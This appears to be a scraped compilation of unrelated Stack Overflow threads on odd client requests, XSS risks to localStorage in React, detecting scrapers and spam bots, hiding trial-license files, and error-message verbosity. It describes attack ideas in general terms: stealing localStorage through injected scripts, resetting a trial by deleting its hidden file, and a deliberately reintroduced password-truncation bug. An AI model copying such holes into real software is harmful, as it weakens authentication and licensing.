As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 11 years ago.
Locked. This question and its answers are locked because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.
Users sometimes come up with the most amusing, weird and wonderful requirements for programmers to design and implement.
Today I read a memo from my boss that we need the "ability to import any excel or access data, irrespective of size, easily and quickly."
From the same memo, we have a requirement to "know if anyone unauthorized accessed the system" - as if a hacker is going to leave his calling card wedged between an index and a foreign key somewhere.
I think my boss has been watching too much "Star Trek"... :)
What's the funniest user request you've ever had?
"The calendars are really difficult to use, since there is a different number of days in each month. Could you please change them to have the same number of days?"
My client demanded that on his website the current white is too normal. And I quote "I want the glossy white of Facebook and Google"
I wonder if this would work:
main.css
body {
background-color: #ffffff !glossy;
}
Client: "I really like my website and Google but I need them both when my laptop doesn't have an internet connection. Can you burn them to a cd so I can use them offline?"
Me: "I can make an offline version of your site but it would have limited functionality. I can't however make Google available offline. It is possible with hardware and a monthly contract to get internet anywhere for a monthly fee with a data card. You'd have to pay around $60/month for it through ATT or Sprint or something like that."
Client: "I'm starting to become disappointed with your capabilities."
"We know the server goes down sometimes, but we want it to never go down"
"can you make sure our sales increase by at least 131%? that would put us ahead of last year."
"We need the button to be clickable after the checkbox to enable the button clicks is checked."
The following happened multiple times with the same person ...
Data Entry Operator (at remote site): Can you fix my terminal? It won't turn on.
ME: Last time you called with this problem it was unplugged, can you please check that?
Data Entry Operator: It's plugged in!
So I drive to the remote site and what do I find? An unplugged terminal, of course! I plugged it in, and it worked just fine.
Project Manager: "We need you to make a list of all unknown risks on this project."
alt text http://img360.imageshack.us/img360/1020/dilbert2030557071204cr8.gif
One of our programs lets normal people manipulate a fairly complex video distribution system. It visually indicates what's going on on the back end using representative pictures of the video sources -- VCRs, DVD players, etc. These graphics are very detailed; the VCR has a little amber display on it, saying "12:00" in a 7-segment LED font. One user asked us to make it blink. Another asked us to make it show the current time.
bangs head on desk
My programming team wrote an intranet which interfaced with a legacy accounting system. Basically, we were writing a pretty ASP.NET front end to protect users from having to interface with the terminal system.
In any case, one of our testers noticed that our login code accepted any password, so long as the first 8 characters were correct. A tester created a user with the password "Password", but the application would validate "Password1", "PasswordMonkey", "PasswordFakeFakeFakehahahah". So, our tester logged this as a defect. Some investigation revealed that the legacy system stored passwords in fixed-width, 8 char field, and it just quietly truncates queries to 8 characters. A quick test indicated that this bug existed in the accounting system as well and simply went unnoticed for 20 years.
We were unable to modify the legacy application as it was maintained by a third-party vendor, so I wrote a quick if (password.Length > 8) { return false; } on our end -- after all, a password more than 8 chars can't possibly be correct. Bug fixed, QA signs off.
So, when our application goes into production, we get an "URGENT!! USER'S CAN'T LOG IN TO THEIR ACCOUNTS!!!"-type message from the president of one of our customers. It turns out that state law or company policy required all passwords to be at least 12 characters long, and none of the users were able to use our product after the fix.
We explained that the accounting system simply doesn't store anything beyond 8 characters, and that everything will be peachy if users just type the first 8 characters. "UNACCEPTABLE!" Ok, then we can put a maxlength on the textbox, limiting the input to just the valid range of characters. "IMBECILES! IT WORKED JUST FINE BEFORE, NOW FIX IT!" Our customer got into a shouting match with the president of my company, threatening the change vendors if we didn't fix application.
So, I "fixed" the application commenting out the sanity check and reintroduced the bug. Its not an unreasonable request to have authentication code in the ASP.NET front-end authenticate the same as the terminal backend, but its really disconcerting to purposefully re-bug an application.
Take a look at this blog called Clients From Hell
There are some really "good" ones on there.
"I just deleted a client data record. Can you restore it from the Recycle Bin?"
Some people don't understand that when a record is deleted, it's deleted. That's kinda what "deleted" means, especially when they didn't ask for us to build an "un-delete" feature.
"I want that no one can take a screenshot of this webpage."
Seriously, this was the demand from the customer.
The most perverted thing about this was, however, that I REALLY found a solution (one, that made me hate "Javascript" even more...).
Oh, the solution was monkey - proof.
Client: "Are you sure you pushed the last copy edit live?"
Programmer: "Yes it is live and I tested it."
Client: "I just looked and it still shows the old copy text."
Programmer: "Did you try clearing your browser cache?"
Client: "What's that? How do I do that? Can't you just have the site do that for me?"
one of our clients put his credit card in the FDD(floppy disk drive) to use it;
Related
This question already has answers here:
What does it mean when they say React is XSS protected?
(2 answers)
Closed 2 years ago.
I am reading some articles about security in React applications. Indeed, I use localstorage to store the user's infos and I've seen that an xss attack could easily allow a hacker to steal them.
However, I understand that in React, an xss attack can only be performed through a setDangerouslyInnerHtml tag that displays a content written in an input. This way, you can steal his infos, cookies session, ect. and send them to your website.
But a hacker could only do this if he has the chance to write his script on the user's computer right? So, if I don't use any setDangerouslyInnerHtml tag, is the localstorage safe in a React app? If not, how a hacker could run such an attack on the website?
If the user uses a public computer it might be possible.
If you have some functionality which allows external users to post content on your site, for example comments or reactions then someone might write a script which sends localstorage data to a hacker.
There are a lot of ways to exploit this, check owasp for more detailed explanation.
https://owasp.org/www-project-top-ten/
Developers must accept what attackers can do:
They can retheme an entire site,
They can too make "bot" scripts to automate tasks and in other words flood your server if that was the task.
All limits defined in JS/HTML can and will be bypassed, (e.g: character lengths in forms/etc)
The entire page can be re-written to not talk to your server-right, in other words crashing it and more if not handled/detected.
The list goes on but accept it's pretty much all off the table if someone wants to pry hard enough.
There's not a whole lot you can do to prevent this, to explain! You can add an external script from randomxyxsite.com and though trusted could under-go an attack where that script now runs "loggers or some type of analytic grabbing bot", this in my opinion is easily avoided by not adding external scripts if you can.
Though I said what I said originally, here's where you're stuck...
Any user can open console/build extensions or use a third-party loader like Tampermonkey and other alternatives and execute script at their will. This too can become "shared" and comparable to botnet behavior.
So what can you do to stop clients from mis-behaving or "super-modding" their content for malicious server-use?
Some ways to safe-guard:
Server-sided requests should pass through some form of check/sanitization to ensure that whatever any of the clients pass-to it is absolutely safe to absorb.
Never let the user tell you who they beyond login, define these users by sessionid; know these users by their session and when user<>user, get between them and follow the above point.
Keep as much as possible private. Public variables/classes/functions are easily re-written during run-time leaving some features you maybe intended on to fall apart.
window.PayFeature = function(){};
ALLOW XSS:
If feared, a developer should study it more. As much as a user can distort/change their end it's only an issue if the traffic changes or the data received from them starts becoming attack like. So for a developer your best bet is to actually rate-limit, set rules and more for users so that abuse is detected and stopped. As long as you do that, you should never fear it but welcome it, when server is secured it becomes a matter of spam (potential botnet)
This question already has answers here:
Detecting 'stealth' web-crawlers
(11 answers)
Closed 9 years ago.
What are ways that websites can block web scrapers? How can you identify if your server is being accessed by a bot?
Captchas
Form submitted in less than a second
Hidden (by css) field gets a value submitted during form submit
Frequent page visits
Simple bots can not scrap text from flash, images or sound.
Unfortunately your question is similar to people asking how do you block spam. There's no fixed answer, and it won't stop someone/bot which is persistent.
However, here are some methods that can be implemented:
Check User-Agent (this could be spoofed though)
Use robots.txt (proper bots will - hopefully respect this)
Detect IP addresses that access a lot of pages too consistently (every "x" seconds).
Manually, or create flags in your system to check who all are going on your site and block certain routes the scrapers take.
Don't use a standard template on your site, and create generic css classes - and don't put in HTML comments in your code.
You can use robots.txt to block bots that take notice of it (but still let through other known instances such as google, etc) - but that won't stop those that ignore it. You may be able to get the user agent from your web server logs, or you could update your code to record it somewhere. If you then wanted you could block particular user agents from accessing your website, just be returning either a empty/default screen and/or a particular server code.
I don't think there is a way of doing exactly what you need, because in websites crawlers/scrapers you can edit all headers when requesting a page, like User-Agent, and you won't be able to identify if there is a user from Mozilla Firefox or just a scraper/crawler...
Scrapers rely to some extent on the consistency of markup from page load to page load. If you want to make life difficult for them, come up with a means of serving altered markup from request to request.
Something like "Bad Behavior" might help: http://www.bad-behavior.ioerror.us/
From their site:
Bad Behavior is designed to integrate into your PHP-based Web site, running as early as possible to throw out spam bots before they have the opportunity to vandalize your site with their junk, or even to scrape your pages for e-mail addresses and forms to fill out.
Not only does Bad Behavior block actual vandalism to your site, it also blocks many e-mail address harvesters, resulting in less e-mail spam, and many automated Web site cracking tools, helping to improve your Web site’s security.
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
I'm writing a commercial product which uses a simple registration mechanism and allows the user to use the application for a demo period before purchasing.
My application must somewhere store the registration information (if entered) and/or the date of the first launch to calculate if the user is still within the demo/trial period. While I'm pretty much finished with the registration mechanism itself, I now have to find a good way to store the registration information on the user's disk.
The most obvious idea would be to store the trial period in the preferences file, but since user tend to delete/tinker with those from time to time, it might be a good idea to keep the registration information in a separate, more hidden file.
So here's my question: What is the best place/strategy to keep and create such hidden files on Windows, Mac OS X and Linux? Here is what came to my mind so far:
Linux/Mac OS X
Most Unix-like systems are rather locked down when it comes to places a user can write files to. In most cases this is only the /tmp directory and the user's home directory.
I guess the easiest here is probably to create a file with a dot-prefix to make it less visible, then give it a name that won't make it obvious that it's associated with my application.
Windows
Probably much like Linux/Mac OS X - more recent Windows versions become more restrictive when it comes to file system permissions.
Anyway, I'd like to hear your ideas and thoughts. Even better if you have already implemented something similar in the past.
Thanks!
Update
For me the places for such files is more relevant than the discussion of the question if this way for copy protection is good or bad.
Who cares where you put the file. Its the contents you want to protect.
On the server side, encrypt/sign the user info with a private key and distribute it the user. Email a license file, have the application connect and download it, whatever.
In your application, include the public key. If you cant authenticate/decrypt the file, fail. If you can, continue to function. You only ever need to reconnect to the server if you can't authenticate the license file. You only need the most primitive "license server" to support this. If you email the file, the "license server" is just a script that encrypts a string and emails the user.
Nothing will protect you from sophisticated attempts to hack your application. But this solution will deny casual users the ability to break your license.
And if you want to prevent the user from re-registering multiple times or sharing the license file with their friends, record their MAC address server side and in the license file. Personally, I wouldn't do this. And it won't stop sophisticated hackers, but its up to you to decide how much time to spend in the cat and mouse game.
For Windows, you might try using Isolated Storage, which will store a file in a product unique location, which is usually sufficiently obscure (and has quite a deep path), and has the advantage of being completely transparent to the developer.
POSIX systems should put app data in a hidden file in the user's home directory. Windows systems should put something under CSIDL_APPDATA.
To be honest, no matter what you do, you will be found out. If your system is self-contained, that is it does not require to be connected to the Internet or some other device at run time, then both your lock and key must be in your code or the data you write to disk. So while you can obfuscate the key (and may be even the lock), the owner of the system can invoke system trace tools or whatever to find you out. But I guess you knew that. Every major software vendor has tried various methods to make this work, but are broken every time.
I think your only real hope is to have your software phone home regularly to see if it still has a valid license.
To illustrate the problems with this approach, there was a Linux-based media server that stored its free trial timestamp in /usr/bin/.tv. It only takes an strace for someone to realise that file is being accessed - in this case, simply deleting the file restarted the trial.
If you are a single developer you will have to spend a lot of money and/or time implementing a protection scheme that only needs to be cracked by one person to be available for everyone. Of course, your aim may only be to deter casual software pirates, in which case even the most basic protection (such as the method described above) will do the job.
Specifically on the Mac, this sort of file should live in ~/Library/Application Support/YourAppName if a user licence, or /Library/Application Support/YourAppName for a machine licence.
When a user licences my app I write the file to ~/Library/Application Support/MyAppName, as that requires no special permissions, but try to read it from both locations to allow for a machine licence if I ever create one.
Use the registry for the windows version.
It is build for keeping data in a central place, and as an added bonus, if the user deletes your entire folder, the settings ar still sitting in the register(*)
here on stackoverflow is an article describing how to access the registsry using the Java programming language.
I don't think Mac has something like this, and I know Linux certainly doesn't have it, but it is a start.
(*) the register is of course also not safe for tinkering users who can easily delete the keys belonging to your app.
The ways I can think of are:
Measure the time between actions.
Compare the posts' content (if they're too similar to each other) or, better yet, only the posted links.
Checking the distribution over a period of time the user is active (if the user is active, say posting once every hour, for a week, then either we have a superman or a bot here).
Some special activity expected: like in stackoverflow, I would expect users to press their user name link (top middle) to see their new answers, comments, questions etc.
(added by chakrit) Number of links in a post.
Not heuristic. Use some async JS for user login. (Just makes life a bit harder on the bot programmer).
(added by Alekc) Not heuristic. User-agent values.
And, How could I forget Google's approach (mentioned down by Will Hartung). Give users the ability to mark someone as Spam, enough Spam votes means this is a Spam user. (calculating what is enough users, is the work here).
Any more ideas?
I might be over estimating the intelligence of bot creators, but number 6 is completely useless against any semi decent bot creator. Using the C# browser control to create your bot would pretty much render 6 useless. From what I've seen with that type of software that's a pretty common approach.
Validating on the useragent is pretty much useless too all of the blog spam I use to get was from bots appearing to be valid web browsers.
I use to get a lot of blog spam. I would literally be deleting hundreds of comments a day. I made use of reCaptcha and now I might get 1 a month.
If you really try to make something like this. I would attempt by doing the following:
User starts off with no ability to post a url.
After X number of posts have been analyzed in relation to the other posts in the thread then give them access to post urls.
The users activity on the site, the post quality, and what ever other factors you deem necessary will be a reputation for that users IP.
Then based the reputation of the IP and the other IPs on the same subnet you can make other decisions on whatever you want.
That was just the first thing that came to mind. Hope it helps.
The number of links in a post.
I believe I've read somewhere that Akismet use the number of links as one of its major heuristics.
And most of spam comments at my blog contains 10+ links in them.
Speaking of which... you just might want to check out the Akismet API itself .. they are extremely effective.
How about a search for spam related keywords in the post body?
Not a heuristic but an effective approach: You can also keep up-to-date with the stats published by StopForumSpam using their APIs.
Time between page visits is common I believe.
I need to add a comment section to my personal site and am thinking of asking people to give me their email address; I'll email them a "publish comment" link.
You might want to check if they've come from a Spam blacklist IP address (See http://www.spamhaus.org/)
There is another answer that suggests using Akismet for detecting spam, which I completely endorse.
However, they are not the only player on the block.
There is TypePad AntiSpam which uses the same heuristics as Akismet, as well as the same API (just a different URL and api key, the structure of the calls is the same). It can be safe to say they pretty much take the same approach as Akismet.
You might also want to check out Project Honeypot. From what I can tell, it can do a lookup based on the IP address of the user, and if it is a known malicious IP, it will tell you (harvester or something like that).
Finally, you can check LinkSleeve which approaches comment spam with what it claims to be a different way. Basically, it checks the links that are being linked to in comments, and based on where the links are going to, makes a determination.
Don't forget the ultimate heuristic: The "Report Spam" button that users can click. If nothing else, this gives you as administrator a chance to update your rule base for stuff that may be slipping through. Of course, you can simply delete the offending post and user right away as well.
I have some doubts about 4° point, anyway i would also add User-Agent. It's pretty easy to fake, but in my experience, about 90% of bots are using Perl as UA
I am sure there is a webservice of some kind that you can get a list of top SEO keywords, check the content for those keywords. if the content is to rich in keywords suspect it as being spam.
Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 5 years ago.
Improve this question
I have an application that reads a database and outputs alerts to any dependencies that are not being met. My thinking on this issue is "Give the minimum information that points the user to the issue." I have been told by a co-worker that I should be as verbose as possible, printing out the values of the database fields for each field I mention verses giving the minimum message that "field one needs to be less then field two".
I know that there must be some convention or standard for this issue as it reminds me of compiler errors and warnings. Does anyone know how a compiler messages are are chosen?
What suggestion does the community have for this issue?
When writing, know your audience.
If you're logging warning/error messages for your own consumption, then it's fairly easy: what do you need to know when something goes wrong?
If you're logging warning/error messages for someone else, then things get tricky. What do they know? What does their mental model of the system look like? What sorts of problems can they solve, and what information do they need to solve them?
Pushing every last scrap of data into a message is punting - at best, the reader will have to wade through irrelevant information in order to find what they need; at worst, they'll become confused and end up making decisions based on the wrong data.
The compiler analogy is apt: think how annoying it would be if the entire symbol table was dumped along with every warning...
I think the key is to be concise. Put as much detail as is required for the reason for the warning to be communicated and nothing more.
For normal, day-to-day operation, I give a data validation message that gives enough information that the user can fix the problem, so that the data validates. For example, if I have two fields (fieldA and fieldB) and one of them have to be greater than the other, then I would state that on the validation output, specifying which field is the offending field.
For example, if A has to be greater than B, and they supply an answer less than B, then the message would be "fieldA needs to be higher than fieldB"
That said, I also program a debug mode into my applications (especially the web-applications) which has a verbose mode, telling exactly what's happening with everything. If that's turned on you would see two messages, the user-friendly error, and then "FieldA=XX and FieldB=YY: XX is not greater than YY".
That's simplified, but it's the general idea.
I would suggest that you should implement both modes. During normal operation you need a useful but short message. But sometimes things could go wrong and in this case a 'dump' mode which gives the user all possible information is a life saver.
I think there are 3 levels of the details of an error message for the 3 typical user groups:
The end user. This is a surfer on a web site or an user of a desktop application. He should receive an error message if the problem can not be compensate. It should include the minimum of information. The end user should not receive any information over the system like current configuration and file paths. The end user should contact the administrator. A continuous error id can be helpful that the administrator can find more informations.
The administrator need more helpful information to solve the problem self. It can include information like table xy not fount or login to database failed.
The developer: If the administrator can not solve the problem then it will contact the software vendor. In this case the administrator should be able to send a log file that the developer can solve it also if he can not reproduce the problem.
The specifics of the content of a log can be discussed, but it is my experience that the level of verbosity will quickly determined during stress test.
If the system can not function properly, it is because you just:
get either too verbose with your logs, or
did log too often (actually, I believe Jeff himself had a similar problem)
Atwood: We were logging in such a way that the log.... during the log call was triggering another log call. Which is normally okay, but with the load that we have, eventually they would happen so close together that there's also a lock. So, there's two locks going on there.
Spolsky: [...] you have a tendency to wanna log everything. But then you just get logs that are, you know, a hundred megabyte per user and you get thirty of them a minute and it can't possibly be analyzed or stored in any reasonable way. So the next thing you have to do is to start culling your logs or just have different levels of debugging, where it's like in high debug mode everything is logged and in low debug mode nothing is logged. And... it's kind of hard to figure out what you really want in a log.
Atwood: I mean that, ironically, to troubleshoot this hang, which turned out to be because of logging, we were adding more logging.
Spolsky: [laughs]
Atwood: The joke just writes itself! The joke just writes itself, right...
So my point is, when you will run your system in a production-like environment, you should quickly be able to determine if the level of verbosity you choose is sustainable.
Dealing with errors Vs. warnings first: An error should be for something which violates the standard. A warning should be for something which is allowed, but quite likely isn't what the author intended.
For example, the W3C Markup Validator will warn about the use of the syntax <br /> in an HTML document. In XHTML this means "A line break", but in an HTML document, while being allowed, actually means "A line break followed by a greater than sign" (even if most browsers don't respect this).
As for verbosity, what is best does depend on who is using the system. Some users would be better with brief messages that they can skim through, while other users (perhaps those less advanced) would find the additional information useful. Without knowing more about who they are, I'd tend towards using a flag (-v is traditional) to let the user select which version they prefer.